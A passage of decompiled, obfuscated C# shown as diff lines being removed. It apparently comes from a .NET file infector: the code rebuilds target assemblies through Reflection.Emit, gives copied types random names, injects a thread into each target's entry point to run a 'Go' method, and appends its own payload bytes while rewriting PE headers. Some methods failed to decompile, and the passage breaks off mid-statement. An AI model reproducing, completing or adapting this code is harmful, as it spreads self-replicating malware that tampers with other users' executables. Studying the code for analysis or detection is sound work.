num1 = index1; - } - try - { - lapixb.fwzhWts(asm, ab, outFileName); - } - catch (ThreadAbortException ex) - { - File.Move(inFileName, outFileName); - } - catch (Exception ex) - { - } - try - { - ab.Save(outFileName); - } - catch (ThreadAbortException ex) - { - File.Move(inFileName, outFileName); - } - catch (Exception ex) - { - } - try - { - lapixb.hGxjkd(inFileName, outFileName); - } - catch (ThreadAbortException ex) - { - File.Move(inFileName, outFileName); - } - catch (Exception ex) - { - } - } - - private static void xToeaQ( - Type type, - Type wrapperType, - ModuleBuilder outmodb, - ModuleReader reader, - lapixb.pxzcLbqGmyxaek typelist) - { - string fullName = type.FullName; - if ((object) wrapperType == null && -1 != fullName.IndexOf("+")) - return; - Type baseType = type.BaseType; - Type parent1; - if ((object) baseType != null) - parent1 = (Type) typelist.pucxpjpo(baseType); - else - parent1 = (Type) null; - if ((object) parent1 == null) - parent1 = baseType; - Type[] interfaces1 = type.GetInterfaces(); - TypeBuilder outtype; - if ((object) wrapperType != null) - { - TypeBuilder typeBuilder = typelist.pucxpjpo(wrapperType); - string name; - if (!lapixb.ghlfunj(type)) - name = type.Name; - else - name = lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk(); - int attributes = (int) type.Attributes; - Type parent2 = parent1; - Type[] interfaces2 = interfaces1; - outtype = typeBuilder.DefineNestedType(name, (TypeAttributes) attributes, parent2, interfaces2); - } - else - { - string name = typeof (lapixb).GetHashCode() != type.GetHashCode() ? (lapixb.ghlfunj(type) ? lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk() : fullName) : (lapixb.ghlfunj(type) ? lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk() + "." + lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk() : fullName); - outtype = outmodb.DefineType(name, type.Attributes, parent1, interfaces1); - } - typelist.fxlyrhnrt(type, outtype); - Type[] nestedTypes = type.GetNestedTypes(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); - int index = 0; - while (true) - { - if (index < nestedTypes.Length) - { - lapixb.xToeaQ(nestedTypes[index], type, outmodb, reader, typelist); - ++index; - } - else - break; - } - } - - private static void jtavbqaucxoGqk(MethodBase methodBase, ref MethodBuilder methodBuilder) - { - ParameterInfo[] parameters = methodBase.GetParameters(); - int index = 0; - while (true) - { - if (index < parameters.Length) - { - methodBuilder.DefineParameter(index + 1, parameters[index].Attributes, parameters[index].Name); - ++index; - } - else - break; - } - } - - private static void jclwzvQo(MethodBase methodBase, ref ConstructorBuilder ctorBuilder) - { - ParameterInfo[] parameters = methodBase.GetParameters(); - int index = 0; - while (true) - { - if (index < parameters.Length) - { - ctorBuilder.DefineParameter(index + 1, parameters[index].Attributes, parameters[index].Name); - ++index; - } - else - break; - } - } - - private static void nkXsIRD( - Type type, - Type wrapperType, - ModuleReader reader, - Assembly asm, - ref AssemblyBuilder ab, - bool setEP, - PEFileKinds filetype, - lapixb.pxzcLbqGmyxaek typelist) - { - string fullName = type.FullName; - if ((object) wrapperType == null) - { - if (-1 != fullName.IndexOf("+")) - return; - } - foreach (ConstructorInfo constructor in type.GetConstructors(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic)) - { - ConstructorBuilder constructorBuilder = typelist.igvsCkvbrtxgpd(type, constructor); - if (constructorBuilder == null) - return; - MethodBody methodBody = reader.GetMethodBody((MethodBase) constructor); - if (methodBody != null) - { - ILGenerator ilGenerator = constructorBuilder.GetILGenerator(); - lapixb.vqkyuztdXo(type, (MethodBase) constructor, methodBody, ref ilGenerator, false, (lapixb.angmrruuqmQqbb ? 1 : 0) != 0, typelist); - } - } - foreach (MethodBase method in (MethodBase[]) type.GetMethods(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic)) - { - if (method.Name == "Main") - { - if ((object) method.DeclaringType == (object) typeof (lapixb)) - continue; - } - MethodBuilder entryMethod = typelist.OpjjrZFfBquC(type, method); - MethodBody methodBody = reader.GetMethodBody(method); - if (methodBody != null) - { - ILGenerator ilGenerator = entryMethod.GetILGenerator(); - if ((object) asm.EntryPoint == (object) method && setEP) - { - lapixb.vqkyuztdXo(type, method, methodBody, ref ilGenerator, true, lapixb.angmrruuqmQqbb, typelist); - ab.SetEntryPoint((MethodInfo) entryMethod, filetype); - } - else - lapixb.vqkyuztdXo(type, method, methodBody, ref ilGenerator, false, (lapixb.angmrruuqmQqbb ? 1 : 0) != 0, typelist); - } - } - TypeBuilder typeBuilder = typelist.pucxpjpo(type); - try - { - typeBuilder.CreateType(); - } - catch - { - if ((lapixb.angmrruuqmQqbb ? 1 : 0) != 0) - { - lapixb.angmrruuqmQqbb = false; - return; - } - } - Type[] nestedTypes = type.GetNestedTypes(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); - int index = 0; - while (true) - { - if (index < nestedTypes.Length) - { - lapixb.nkXsIRD(nestedTypes[index], type, reader, asm, ref ab, setEP, filetype, typelist); - ++index; - } - else - break; - } - } - - private static bool osnpyccxsiwpnp(Assembly asm) - { - int num1 = asm.GetManifestResourceNames().Length != 0 ? 1 : 0; - bool flag; - int num2 = flag ? 1 : 0; - return num1 != 0; - } - - private static void fwzhWts(Assembly asm, AssemblyBuilder ab, string name) - { - // ISSUE: unable to decompile the method. - } - - private static void vqkyuztdXo( - Type type, - MethodBase methodBase, - MethodBody methodBody, - ref ILGenerator il, - bool entrypoint, - bool shorts, - lapixb.pxzcLbqGmyxaek typelist) - { - Type[] locals = methodBody.GetLocals(); - LocalBuilder[] localBuilders = new LocalBuilder[(int) checked ((uint) locals.Length)]; - if (locals != null) - { - if (locals.Length > 0) - { - for (int index = 0; index < locals.Length; ++index) - { - Type localType = (Type) typelist.pucxpjpo(locals[index]); - if ((object) localType != null) - localBuilders[index] = il.DeclareLocal(localType); - else - localBuilders[index] = il.DeclareLocal(locals[index]); - } - } - } - lapixb.bkhltqlGjvox bkhltqlGjvox = new lapixb.bkhltqlGjvox(il, localBuilders); - if (entrypoint) - { - MethodBuilder meth = typelist.OpjjrZFfBquC(typeof (lapixb), lapixb.doHuwvavrOnb); - il.DeclareLocal(typeof (Thread)); - bkhltqlGjvox.eSqpqsy(); - ILGenerator ilGenerator = il; - OpCode ldnull = OpCodes.Ldnull; - bool flag; - int num = flag ? 1 : 0; - ilGenerator.Emit(ldnull); - bkhltqlGjvox.eSqpqsy(); - il.Emit(OpCodes.Ldftn, (MethodInfo) meth); - bkhltqlGjvox.eSqpqsy(); - Type[] typeArray = new Type[2] - { - typeof (object), - typeof (int) - }; - ConstructorInfo constructor1 = typeof (ThreadStart).GetConstructors()[0]; - il.Emit(OpCodes.Newobj, constructor1); - ConstructorInfo constructor2 = typeof (Thread).GetConstructor(new Type[1] - { - typeof (ThreadStart) - }); - il.Emit(OpCodes.Newobj, constructor2); - bkhltqlGjvox.eSqpqsy(); - il.Emit(OpCodes.Stloc_0); - bkhltqlGjvox.eSqpqsy(); - il.Emit(OpCodes.Ldloc_0); - MethodInfo method = typeof (Thread).GetMethod("Start"); - il.Emit(OpCodes.Callvirt, method); - bkhltqlGjvox.eSqpqsy(); - } - ExceptionHandler[] exceptions = methodBody.GetExceptions(); - int index1; - int num1; - if (exceptions != null) - { - for (index1 = 0; index1 < exceptions.Length; index1 = num1) - { - ExceptionHandler exceptionHandler = exceptions[index1]; - num1 = index1 + 1; - } - } - int length = 0; - Instruction[] instructions = methodBody.GetInstructions(); - int index2 = 0; - while (true) - { - if (index2 < instructions.Length) - { - Instruction instruction = instructions[index2]; - if (instruction.Code.OperandType != OperandType.ShortInlineBrTarget) - { - if (instruction.Code.OperandType != OperandType.InlineBrTarget) - goto label_19; - } - ++length; -label_19: - if (instruction.Code.OperandType == OperandType.InlineSwitch) - length += ((int[]) instruction.Operand).Length; - ++index2; - } - else - break; - } - Label[] labelArray = new Label[(int) checked ((uint) length)]; - int[] numArray1 = new int[(int) checked ((uint) length)]; - int index3 = 0; - foreach (Instruction instruction in methodBody.GetInstructions()) - { - if (instruction.Code.OperandType == OperandType.ShortInlineBrTarget) - { - object operand = instruction.Operand; - numArray1[index3] = (int) operand; - labelArray[index3] = il.DefineLabel(); - ++index3; - } - if (instruction.Code.OperandType == OperandType.InlineBrTarget) - { - object operand = instruction.Operand; - numArray1[index3] = (int) operand; - labelArray[index3] = il.DefineLabel(); - ++index3; - } - if ((int) instruction.Code.OperandType == 11) - { - foreach (int num2 in (int[]) instruction.Operand) - { - numArray1[index3] = num2; - labelArray[index3] = il.DefineLabel(); - ++index3; - } - } - } - bool flag1 = false; - int index4 = 0; -label_170: - for (; index4 < methodBody.GetInstructions().Length; ++index4) - { - if (flag1) - { - flag1 = false; - } - else - { - Instruction instruction = methodBody.GetInstructions()[index4]; - OpCode code = instruction.Code; - if (code.GetHashCode() == OpCodes.Ldloc.GetHashCode() && index4 < methodBody.GetInstructions().Length - 1) - { - if (methodBody.GetInstructions()[index4].Code.GetHashCode() == OpCodes.Pop.GetHashCode()) - { - flag1 = true; - continue; - } - } - bkhltqlGjvox.eSqpqsy(); - ExceptionHandler[] exceptionHandlerArray = exceptions; - int index5 = 0; - while (index5 < exceptionHandlerArray.Length) - { - ExceptionHandler exceptionHandler1 = exceptionHandlerArray[index5]; - if (exceptionHandler1.TryOffset == instruction.Offset) - { - il.BeginExceptionBlock(); - break; - } - if (exceptionHandler1.Type == 3) - { - if (exceptionHandler1.FilterOffset == instruction.Offset) - il.BeginExceptFilterBlock(); - } - else if (exceptionHandler1.HandlerOffset == instruction.Offset) - { - switch ((int) exceptionHandler1.Type) - { - case 0: - il.BeginFaultBlock(); - break; - case 1: - il.BeginCatchBlock(exceptionHandler1.CatchType); - break; - case 2: - il.BeginFinallyBlock(); - break; - case 3: - il.BeginExceptFilterBlock(); - break; - } - } - if (exceptionHandler1.HandlerOffset + exceptionHandler1.HandlerLength == instruction.Offset) - { - bool flag2 = true; - foreach (ExceptionHandler exceptionHandler2 in exceptions) - { - if (exceptionHandler2.HandlerOffset == exceptionHandler1.HandlerOffset + exceptionHandler1.HandlerLength) - flag2 = false; - } - if (flag2) - il.EndExceptionBlock(); - } - ++index5; - } - int num3; - for (int index6 = 0; index6 < numArray1.Length; index6 = num3 + 1) - { - if (numArray1[index6] == instruction.Offset) - il.MarkLabel(labelArray[index6]); - num3 = index6; - } - object operand = instruction.Operand; - byte[] operandData = instruction.GetOperandData(); - if ((entrypoint ? 1 : 0) != 0) - { - if (code.Name == OpCodes.Ret.Name) - { - bkhltqlGjvox.eSqpqsy(); - il.Emit(OpCodes.Ldloc_0); - MethodInfo method = typeof (Thread).GetMethod("Abort", new Type[0]); - il.Emit(OpCodes.Callvirt, method); - } - } - if (operand != null) - { - switch (code.OperandType) - { - case OperandType.InlineBrTarget: - int num4 = (int) operand; - int index7 = 0; - while (true) - { - if (index7 < labelArray.Length) - { - if (numArray1[index7] != num4) - ++index7; - else - break; - } - else - goto label_170; - } - il.Emit(code, labelArray[index7]); - continue; - case OperandType.InlineField: - case OperandType.InlineMethod: - case OperandType.InlineSig: - case OperandType.InlineTok: - case OperandType.InlineType: - if ((object) (operand as Type) != null) - { - TypeBuilder cls = typelist.pucxpjpo((Type) operand); - if (cls != null) - { - il.Emit(code, (Type) cls); - continue; - } - if ((object) ((Type) operand).Assembly == (object) Assembly.GetExecutingAssembly()) - throw new Exception(); - il.Emit(code, (Type) operand); - continue; - } - if ((object) (operand as MethodInfo) != null) - { - MethodInfo meth1 = (MethodInfo) operand; - MethodBuilder meth2 = typelist.OpjjrZFfBquC(meth1.DeclaringType, (MethodBase) meth1); - if (meth2 != null) - { - il.Emit(code, (MethodInfo) meth2); - continue; - } - if ((object) meth1.DeclaringType.Assembly != (object) Assembly.GetExecutingAssembly()) - { - il.Emit(code, meth1); - continue; - } - throw new Exception(); - } - if ((object) (operand as MemberInfo) != null) - { - if ((object) (operand as FieldInfo) != null) - { - FieldBuilder field = typelist.pdjwlfze(((MemberInfo) operand).DeclaringType, (FieldInfo) operand); - if (field != null) - { - il.Emit(code, (FieldInfo) field); - } - else - { - if ((object) ((MemberInfo) operand).DeclaringType.Assembly == (object) Assembly.GetExecutingAssembly()) - throw new Exception(); - il.Emit(code, (FieldInfo) operand); - } - } - if ((object) (operand as ConstructorInfo) != null) - { - ConstructorInfo constructorInfo = (ConstructorInfo) operand; - ConstructorBuilder con = typelist.igvsCkvbrtxgpd(constructorInfo.DeclaringType, constructorInfo); - if (con != null) - { - il.Emit(code, (ConstructorInfo) con); - continue; - } - if ((object) constructorInfo.DeclaringType.Assembly != (object) Assembly.GetExecutingAssembly()) - { - il.Emit(code, constructorInfo); - continue; - } - throw new Exception(); - } - continue; - } - if ((object) (operand as FieldInfo) == null) - throw new Exception(); - continue; - case OperandType.InlineI: - il.Emit(code, (int) operand); - continue; - case OperandType.InlineI8: - il.Emit(code, (long) operand); - continue; - case OperandType.InlineNone: - il.Emit(code); - continue; - case OperandType.InlinePhi: - case (OperandType) 8: - continue; - case OperandType.InlineR: - il.Emit(code, (double) operand); - continue; - case OperandType.InlineString: - il.Emit(code, operand.ToString()); - continue; - case OperandType.InlineSwitch: - int[] numArray2 = (int[]) operand; - Label[] labels = new Label[(int) checked ((uint) numArray2.Length)]; - int index8 = 0; - while (true) - { - if (index8 < numArray2.Length) - { - int index9 = 0; - while (true) - { - if (index9 < labelArray.Length) - { - if (numArray1[index9] == numArray2[index8]) - labels[index8] = labelArray[index9]; - ++index9; - } - else - break; - } - ++index8; - } - else - break; - } - il.Emit(code, labels); - continue; - case OperandType.InlineVar: - case OperandType.ShortInlineVar: - switch (operand) - { - case int _: - if (localBuilders == null) - return; - il.Emit(code, localBuilders[(int) operand]); - continue; - case ParameterInfo _: - ParameterInfo parameterInfo = (ParameterInfo) operand; - methodBase.GetParameters(); - int position = parameterInfo.Position; - if (code.GetHashCode() == OpCodes.Ldarg_S.GetHashCode()) - { - il.Emit(code, (int) operandData[0]); - continue; - } - il.Emit(code, position); - continue; - default: - continue; - } - case OperandType.ShortInlineBrTarget: - OpCode opcode; - if (!shorts) - { - opcode = code; - if (code.Name == OpCodes.Beq_S.Name) - opcode = OpCodes.Beq; - if (code.Name == OpCodes.Bge_S.Name) - opcode = OpCodes.Bge; - if (code.Name == OpCodes.Bge_Un_S.Name) - opcode = OpCodes.Bge_Un; - if (code.Name == OpCodes.Bgt_S.Name) - opcode = OpCodes.Bgt_S; - if (code.Name == OpCodes.Bgt_Un_S.Name) - opcode = OpCodes.Bgt_Un; - if (code.Name == OpCodes.Ble_S.Name) - opcode = OpCodes.Ble; - if (code.Name == OpCodes.Ble_Un_S.Name) - opcode = OpCodes.Ble_Un; - if (code.Name == OpCodes.Blt_S.Name) - opcode = OpCodes.Blt; - if (code.Name == OpCodes.Blt_Un_S.Name) - opcode = OpCodes.Blt_Un; - if (code.Name == OpCodes.Bne_Un_S.Name) - opcode = OpCodes.Bne_Un; - string name1 = code.Name; - string name2 = OpCodes.Br_S.Name; - int num5 = flag1 ? 1 : 0; - if (name1 == name2) - opcode = OpCodes.Br; - if (code.Name == OpCodes.Brfalse_S.Name) - opcode = OpCodes.Brfalse; - if (code.Name == OpCodes.Brtrue_S.Name) - opcode = OpCodes.Brtrue; - if (code.Name == OpCodes.Leave_S.Name) - opcode = OpCodes.Leave; - } - else - opcode = code; - int num6 = (int) operand; - for (int index10 = 0; index10 < labelArray.Length; ++index10) - { - if (numArray1[index10] == num6) - { - il.Emit(opcode, labelArray[index10]); - break; - } - } - continue; - case OperandType.ShortInlineI: - if (operand is short num7) - il.Emit(code, num7); - if (operand is sbyte num8) - { - il.Emit(code, num8); - continue; - } - continue; - case OperandType.ShortInlineR: - il.Emit(code, (float) operand); - continue; - default: - continue; - } - } - else - il.Emit(code); - } - } - } - - private static byte[] gcpVoenwxmnp() - { - FileStream file = Assembly.GetExecutingAssembly().GetFiles()[0]; - BinaryReader source = new BinaryReader((Stream) file); - lapixb.bOukncg msdosheader = new lapixb.bOukncg(); - msdosheader.ugusxnfncbc(source); - lapixb.vtimUuoda vtimUuoda = new lapixb.vtimUuoda(); - vtimUuoda.vQzsqfb(source, msdosheader); - lapixb.kcXvcnrrwpqgz kcXvcnrrwpqgz = (lapixb.kcXvcnrrwpqgz) vtimUuoda.dHnysskou[vtimUuoda.dHnysskou.Count - 1]; - uint num = kcXvcnrrwpqgz.efxraidDxamjk + kcXvcnrrwpqgz.vWwpmibp; - source.BaseStream.Position = (long) num; - byte[] numArray1; - try - { - uint count = source.ReadUInt32(); - byte[] numArray2 = source.ReadBytes((int) count); - file.Close(); - numArray1 = numArray2; - } - catch - { - file.Close(); - FileStream input = new FileStream("ILReader.dll", FileMode.Open, FileAccess.Read); - BinaryReader binaryReader = new BinaryReader((Stream) input); - FileInfo fileInfo = new FileInfo("ILReader.dll"); - if (fileInfo != null) - { - byte[] numArray3 = binaryReader.ReadBytes((int) fileInfo.Length); - input.Close(); - numArray1 = numArray3; - } - else - { - input.Close(); - numArray1 = (byte[]) null; - } - } - return numArray1; - } - - private static void oswdhvvoxThrks(string fileName, byte[] ilReader) - { - FileStream output = new FileStream(fileName, FileMode.Open, FileAccess.ReadWrite); - BinaryWriter binaryWriter = new BinaryWriter((Stream) output); - binaryWriter.BaseStream.Seek(0L, SeekOrigin.End); - binaryWriter.Write((uint) ilReader.Length); - binaryWriter.Write(ilReader); - output.Close(); - } - - private static bool hGxjkd(string inFileName, string outFileName) - { - FileStream output = new FileStream(outFileName, FileMode.Open, FileAccess.ReadWrite); - FileStream input1 = new FileStream(inFileName, FileMode.Open, FileAccess.Read); - bool flag1; - if (input1 == null || output == null) - { - flag1 = false; - } - else - { - BinaryWriter dest1 = new BinaryWriter((Stream) output); - FileStream input2 = output; - bool flag2; - int num1 = flag2 ? 1 : 0; - BinaryReader source1 = new BinaryReader((Stream) input2); - BinaryReader source2 = new BinaryReader((Stream) input1); - lapixb.bOukncg msdosheader1 = new lapixb.bOukncg(); - msdosheader1.ugusxnfncbc(source2); - lapixb.vtimUuoda vtimUuoda = new lapixb.vtimUuoda(); - vtimUuoda.vQzsqfb(source2, msdosheader1); - byte[] buffer = vtimUuoda.iymvzvhxdMi(source2); - if (buffer == null) - { - flag1 = false; - } - else - { - lapixb.bOukncg msdosheader2 = new lapixb.bOukncg(); - msdosheader2.ugusxnfncbc(source1); - lapixb.gxygydds gxygydds = new lapixb.gxygydds(); - gxygydds.vQzsqfb(source1, msdosheader2); - if (gxygydds.iymvzvhxdMi(source1) != null) - { - flag1 = false; - } - else - { - lapixb.kcXvcnrrwpqgz kcXvcnrrwpqgz = (lapixb.kcXvcnrrwpqgz) gxygydds.dHnysskou[gxygydds.dHnysskou.Count - 1]; - uint num2 = (uint) ((int) kcXvcnrrwpqgz.efxraidDxamjk + (int) kcXvcnrrwpqgz.vWwpmibp + 1) / gxygydds.jlnmvaHDid * gxygydds.jlnmvaHDid; - uint phsize = ((uint) buffer.Length / gxygydds.jlnmvaHDid + 1U) * gxygydds.jlnmvaHDid; - uint puvhlx = gxygydds.PUvhlx; - uint isize = (uint) ((int) gxygydds.PUvhlx + ((int) ((uint) buffer.Length / gxygydds.aymxfxlcu) + 1) * (int) gxygydds.aymxfxlcu); - lapixb.kcXvcnrrwpqgz sh = new lapixb.kcXvcnrrwpqgz(".rsrc", (uint) buffer.Length, puvhlx, phsize, num2, 1107296320U); - lapixb.tvptAvk d = new lapixb.tvptAvk(puvhlx, (uint) buffer.Length); - dest1.BaseStream.Position = (long) num2; - dest1.Write(buffer, 0, buffer.Length); - int num3 = 0; - while (true) - { - if ((long) num3 < (long) gxygydds.jlnmvaHDid - (long) buffer.Length % (long) gxygydds.jlnmvaHDid) - { - dest1.Write((byte) 0); - ++num3; - } - else - break; - } - gxygydds.hhhmxcsare(sh, source1, dest1, msdosheader2); - gxygydds.fcvwhfbWshwQrL(d, dest1, msdosheader2); - gxygydds.sBcyVrsjuhu(isize, dest1, msdosheader2); - dest1.Flush(); - source1.Close(); - dest1.Close(); - FileStream fileStream = new FileStream(outFileName, FileMode.Open, FileAccess.ReadWrite); - BinaryReader src = new BinaryReader((Stream) fileStream); - BinaryWriter dest2 = new BinaryWriter((Stream) fileStream); - gxygydds.fDqzgijCXyjmq(num2, vtimUuoda.jjbjkethqjmz.OzfbAk, puvhlx, src, dest2); - dest2.Flush(); - int num4 = flag2 ? 1 : 0; - source2.Close(); - src.Close(); - dest2.Close(); - input1.Close(); - fileStream.Close(); - flag1 = true; - } - } - } - return flag1; - } - - private class zrrhppnseac - { - private Type faByPv; - private TypeBuilder hLwbapy; - public ArrayList ZmtahYdrlgekj; - public ArrayList fldsCeaoUxycMb; - public ArrayList chgzlt; - public ArrayList Oggqplmoh; - public ArrayList raxuojEtdz; - public ArrayList kmvtlesig; - public ArrayList mbGhslimc; - public ArrayList badfllXdmn; - public ArrayList oBzVFgfx; - public ArrayList ybvhoeZodu; - - public zrrhppnseac() - { - this.chgzlt = new ArrayList(); - this.Oggqplmoh = new ArrayList(); - this.ZmtahYdrlgekj = new ArrayList(); - this.fldsCeaoUxycMb = new ArrayList(); - this.mbGhslimc = new ArrayList(); - this.badfllXdmn = new ArrayList(); - this.raxuojEtdz = new ArrayList(); - this.kmvtlesig = new ArrayList(); - this.oBzVFgfx = new ArrayList(); - this.ybvhoeZodu = new ArrayList(); - } - - protected virtual void djffRfxaYiahaO() - { - try - { - this.bdyxinrpumcT(); - } - finally - { - // ISSUE: explicit finalizer call - this.Finalize(); - } - } - - public void bdyxinrpumcT() - { - this.chgzlt.Clear(); - this.Oggqplmoh.Clear(); - this.ZmtahYdrlgekj.Clear(); - this.fldsCeaoUxycMb.Clear(); - this.mbGhslimc.Clear(); - this.badfllXdmn.Clear(); - this.raxuojEtdz.Clear(); - this.kmvtlesig.Clear(); - this.oBzVFgfx.Clear(); - this.ybvhoeZodu.Clear(); - } - - public bool QiqslmxqMd() => (object) this.faByPv == null; - - public void irgCQaicaqnGx(Type intype, TypeBuilder outtype) - { - this.faByPv = intype; - this.hLwbapy = outtype; - } - - public Type wqpmeavkukqpy() => this.faByPv; - - public TypeBuilder eIuaThbbxh() => this.hLwbapy; - } - - public class pxzcLbqGmyxaek - { - private ArrayList DlmnuQpdcAjua; - - public pxzcLbqGmyxaek() => this.DlmnuQpdcAjua = new ArrayList(); - - protected virtual void orrvtxcxw() - { - try - { - } - finally - { - // ISSUE: explicit finalizer call - this.Finalize(); - } - } - - public void myvhvprNssji() - { - foreach (lapixb.zrrhppnseac zrrhppnseac in this.DlmnuQpdcAjua) - zrrhppnseac.bdyxinrpumcT(); - this.DlmnuQpdcAjua.Clear(); - } - - public void fxlyrhnrt(Type intype, TypeBuilder outtype) - { - lapixb.zrrhppnseac zrrhppnseac = new lapixb.zrrhppnseac(); - zrrhppnseac.irgCQaicaqnGx(intype, outtype); - this.DlmnuQpdcAjua.Add((object) zrrhppnseac); - } - - public void efPfdz(Type intype, ModuleBuilder moduleBuilder) - { - foreach (lapixb.zrrhppnseac zrrhppnseac in this.DlmnuQpdcAjua) - { - if (zrrhppnseac.wqpmeavkukqpy().FullName == intype.FullName) - { - PropertyInfo[] properties = zrrhppnseac.wqpmeavkukqpy().GetProperties(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); - int index1 = 0; - while (true) - { - if (index1 < properties.Length) - { - PropertyInfo propertyInfo = properties[index1]; - if (propertyInfo.Name == "SectionHeaders") - Console.WriteLine(); - TypeBuilder returnType = this.pucxpjpo(propertyInfo.PropertyType); - PropertyBuilder propertyBuilder; - if (returnType != null) - propertyBuilder = zrrhppnseac.eIuaThbbxh().DefineProperty((lapixb.ghlfunj(zrrhppnseac.wqpmeavkukqpy()) ? 1 : 0) != 0 ? lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk() : propertyInfo.Name, propertyInfo.Attributes, (Type) returnType, (Type[]) null); - else - propertyBuilder = zrrhppnseac.eIuaThbbxh().DefineProperty((lapixb.ghlfunj(zrrhppnseac.wqpmeavkukqpy()) ? 1 : 0) != 0 ? lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk() : propertyInfo.Name, propertyInfo.Attributes, propertyInfo.PropertyType, (Type[]) null); - zrrhppnseac.chgzlt.Add((object) propertyInfo); - zrrhppnseac.Oggqplmoh.Add((object) propertyBuilder); - ++index1; - } - else - break; - } - foreach (FieldInfo field in zrrhppnseac.wqpmeavkukqpy().GetFields(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic)) - { - TypeBuilder typeBuilder1 = this.pucxpjpo(field.FieldType); - FieldBuilder fieldBuilder; - if (typeBuilder1 != null) - { - TypeBuilder typeBuilder2 = zrrhppnseac.eIuaThbbxh(); - string fieldName; - if ((lapixb.ghlfunj(zrrhppnseac.wqpmeavkukqpy()) ? 1 : 0) == 0) - fieldName = field.Name; - else - fieldName = lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk(); - TypeBuilder typeBuilder3 = typeBuilder1; - int attributes = (int) field.Attributes; - fieldBuilder = typeBuilder2.DefineField(fieldName, (Type) typeBuilder3, (FieldAttributes) attributes); - } - else - fieldBuilder = zrrhppnseac.eIuaThbbxh().DefineField(lapixb.ghlfunj(zrrhppnseac.wqpmeavkukqpy()) ? lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk() : field.Name, field.FieldType, field.Attributes); - if ((object) fieldBuilder.DeclaringType.Assembly != (object) moduleBuilder.Assembly) - throw new Exception(); - zrrhppnseac.ZmtahYdrlgekj.Add((object) field); - zrrhppnseac.fldsCeaoUxycMb.Add((object) fieldBuilder); - } - ConstructorInfo[] constructors = zrrhppnseac.wqpmeavkukqpy().GetConstructors(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); - int index2 = 0; - while (true) - { - if (index2 < constructors.Length) - { - ConstructorInfo constructorInfo = constructors[index2]; - ParameterInfo[] parameters = constructorInfo.GetParameters(); - Type[] parameterTypes = new Type[(int) checked ((uint) parameters.Length)]; - int index3 = 0; - for (; index3 < parameters.Length; ++index3) - { - TypeBuilder typeBuilder = this.pucxpjpo(parameters[index3].ParameterType); - parameterTypes[index3] = typeBuilder == null ? parameters[index3].ParameterType : (Type) typeBuilder; - } - ConstructorBuilder ctorBuilder = zrrhppnseac.eIuaThbbxh().DefineConstructor(constructorInfo.Attributes, constructorInfo.CallingConvention, parameterTypes); - lapixb.jclwzvQo((MethodBase) constructorInfo, ref ctorBuilder); - zrrhppnseac.oBzVFgfx.Add((object) constructorInfo); - zrrhppnseac.ybvhoeZodu.Add((object) ctorBuilder); - ++index2; - } - else - break; - } - foreach (EventInfo eventInfo in zrrhppnseac.wqpmeavkukqpy().GetEvents(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic)) - { - TypeBuilder typeBuilder = zrrhppnseac.eIuaThbbxh(); - string name; - if (!lapixb.ghlfunj(zrrhppnseac.wqpmeavkukqpy())) - name = eventInfo.Name; - else - name = lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk(); - int attributes = (int) eventInfo.Attributes; - Type eventHandlerType = eventInfo.EventHandlerType; - EventBuilder eventBuilder = typeBuilder.DefineEvent(name, (EventAttributes) attributes, eventHandlerType); - zrrhppnseac.mbGhslimc.Add((object) eventInfo); - zrrhppnseac.badfllXdmn.Add((object) eventBuilder); - } - foreach (MethodBase method in zrrhppnseac.wqpmeavkukqpy().GetMethods(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic)) - { - if (!(method.Name == "Main") || (object) method.DeclaringType != (object) typeof (lapixb)) - { - if (method.Name == "Go") - lapixb.doHuwvavrOnb = method; - ParameterInfo[] parameters = method.GetParameters(); - Type[] typeArray = new Type[(int) checked ((uint) parameters.Length)]; - int index4 = 0; - int num; - for (; index4 < parameters.Length; index4 = num + 1) - { - TypeBuilder typeBuilder = this.pucxpjpo(parameters[index4].ParameterType); - typeArray[index4] = typeBuilder == null ? parameters[index4].ParameterType : (Type) typeBuilder; - num = index4; - } - Type returnType1 = ((MethodInfo) method).ReturnType; - TypeBuilder typeBuilder4 = this.pucxpjpo(returnType1); - string name1 = method.Name; - MethodBuilder methodBuilder; - if (typeBuilder4 != null) - { - TypeBuilder typeBuilder5 = zrrhppnseac.eIuaThbbxh(); - string name2; - if ((lapixb.ghlfunj(zrrhppnseac.wqpmeavkukqpy()) ? 1 : 0) != 0) - { - if (name1 != "Go") - { - name2 = lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk(); - goto label_46; - } - } - name2 = name1; -label_46: - int attributes = (int) method.Attributes; - int callingConvention = (int) method.CallingConvention; - TypeBuilder returnType2 = typeBuilder4; - Type[] parameterTypes = typeArray; - methodBuilder = typeBuilder5.DefineMethod(name2, (MethodAttributes) attributes, (CallingConventions) callingConvention, (Type) returnType2, parameterTypes); - } - else - { - TypeBuilder typeBuilder6 = zrrhppnseac.eIuaThbbxh(); - string name3; - if (lapixb.ghlfunj(zrrhppnseac.wqpmeavkukqpy())) - { - if (name1 != "Go") - { - name3 = lapixb.sbcjzvkbfjnuoi.tbcwkzbtonhk(); - goto label_51; - } - } - name3 = name1; -label_51: - int attributes = (int) method.Attributes; - int callingConvention = (int) method.CallingConvention; - Type returnType3 = returnType1; - Type[] parameterTypes = typeArray; - methodBuilder = typeBuilder6.DefineMethod(name3, (MethodAttributes) 